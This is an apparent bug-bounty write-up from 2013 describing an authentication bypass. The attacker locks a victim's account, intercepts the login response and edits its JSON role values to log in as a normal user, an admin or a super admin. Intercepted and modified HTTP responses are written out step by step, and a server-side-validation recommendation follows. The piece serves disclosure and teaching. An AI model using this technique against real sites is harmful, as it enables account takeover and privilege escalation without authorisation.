A Way to Gain Super Admin & Admin Privileges By Bypassing Authentication
While
researching and working on bug bounties in late Jan 2013, I have found a
way to Bypass Authentication using which we can Takeover all the
users account of the website and can also gain Super Admin and Admin privileges if that site is vulnerable to this type of
attack.
Using
this vulnerability the attacker can bypass the authentication bypass countermeasure and can predict the login validation
& access control processes for any victims account by combinding a simple technique and in
this way he can also Bypass Authentication of
all passwords of all the accounts and can successfully compromise the
victims account as the login validation process is predictable by the
attacker.
I tried various techniques to Bypass the
Login like Arbitrary Methods Usages, Anonymous Methods Usages but all
these techniques failed, also there was a countermeasures that if we to modify the response can then if we send that modified response code as a request to the server then the server is not responding to the modified request and instead of replying it is dropping the modified request, so now the challenge was to bypass this countermeasure and also to understand the Login
Validation Process and to find a weakness in it. So now I am mentioning
how I was able to Bypass this Countermeasure and the Authentication.
Please Note: There was a precondition that an attacker shall now the victims login id or user id and shall lock the victims account.
During the testing we have found an attacker can bypass authentication of Super Admin, Admin & Normal(Read Only privileged ) users by locking the victims account and by modify the response json message.
Steps to Execute the Attack:
1. Go to the application login page and lock the victims account with 3 wrong password attempts.
2. Now Insert the normal(test) users username and with any random value as password.
3. Intercept the login request and forward it now the original response will be intercepted like mentioned below:
Original Response:
HTTP/1.1 200 OK
Server: Apache-Coyote
Content-disposition: attachment
Content-Type: application/json;charset=utf-8
Content-Length: 88
Date: Wed, 16 Jan 2013 10:05:20 GMT
OK[10,0,0,0,0,["site.com","You Account has been Locked, Please contact Administrator."]]
4. Now modify the original response as mentioned below but don't modify the status code 200 OK or any headers and forward the request, now the attacker successfully logs into the Normal Users(victims) account.
Modified Response to Bypass Authentication of Normal User:
HTTP/1.1 200 OK
Server: Apache-Coyote
Content-disposition: attachment
Content-Type: application/json;charset=utf-8
Content-Length: 44
Date: Wed, 16 Jan 2013 10:09:10 GMT
OK[10,0,0,0,0,["site.com,"N","Normal User"]]
Note: "10" denotes normal user and "N" denotes read only privilege.
5. Now to gain Admin user privileges while doing Authentication Bypass, repeat the step 1,2,3 and then modify the original response as mentioned below but don't modify the status code 200 OK or any headers and forward the request, now the attacker successfully logs into the Admin Users(victims) account.
HTTP/1.1 200 OK
Server: Apache-Coyote
Content-disposition: attachment
Content-Type: application/json;charset=utf-8
Content-Length: 43
Date: Wed, 16 Jan 2013 10:13:07 GMT
OK[20,0,0,0,0,["site.com,"Y","Admin User"]]
Note: "20" denotes admin user and "Y" denotes write privilege.
6. Now to gain Super Admin user privileges while doing Authentication
Bypass, repeat the step 1,2,3 and then modify the original response as
mentioned below but don't modify the status code 200 OK or any headers
and forward the request, now the attacker successfully logs into the
Super Admin Users(victims) account.
HTTP/1.1 200 OK
Server: Apache-Coyote
Content-disposition: attachment
Content-Type: application/json;charset=utf-8
Content-Length: 49
Date: Wed, 16 Jan 2013 10:17:35 GMT
OK[30,0,0,0,0,["site.com,"Y","Super Admin User"]]
So in this way we can easily Bypass the Authentication an can gain Super Admin & Admin privileges :).
Impact:
The Login Validation & Access Control Processes are Predictable using which an attacker can easily compromise any users account of the Application and can gain the Super Admin and Admin privileges also the modified(i.e tempered) response dropping countermeasure was bypassable.
Recommendation:
The
Login Validation shall not be dependent on Response Code Values,
Cookies Values and Json Based Status Code values etc combination. Also
the it shall not be dependent on the Client-Side Validation or on modified request dropping based countermeasures instead
proper Server-Side Validation shall be done for the Correct Passwords and there shall be proper access control.
So in this way one can do Privilege Escalation Using Authentication Bypass and can Bypass the authentication of any victims accounts by bypassing the modified request dropping countermeasure and by using the Login Validation & Access Control Processes Prediction. Also this way can be used
to find same type of
vulnerabilities on many different websites.
Suggestions and Feedbacks are welcome.
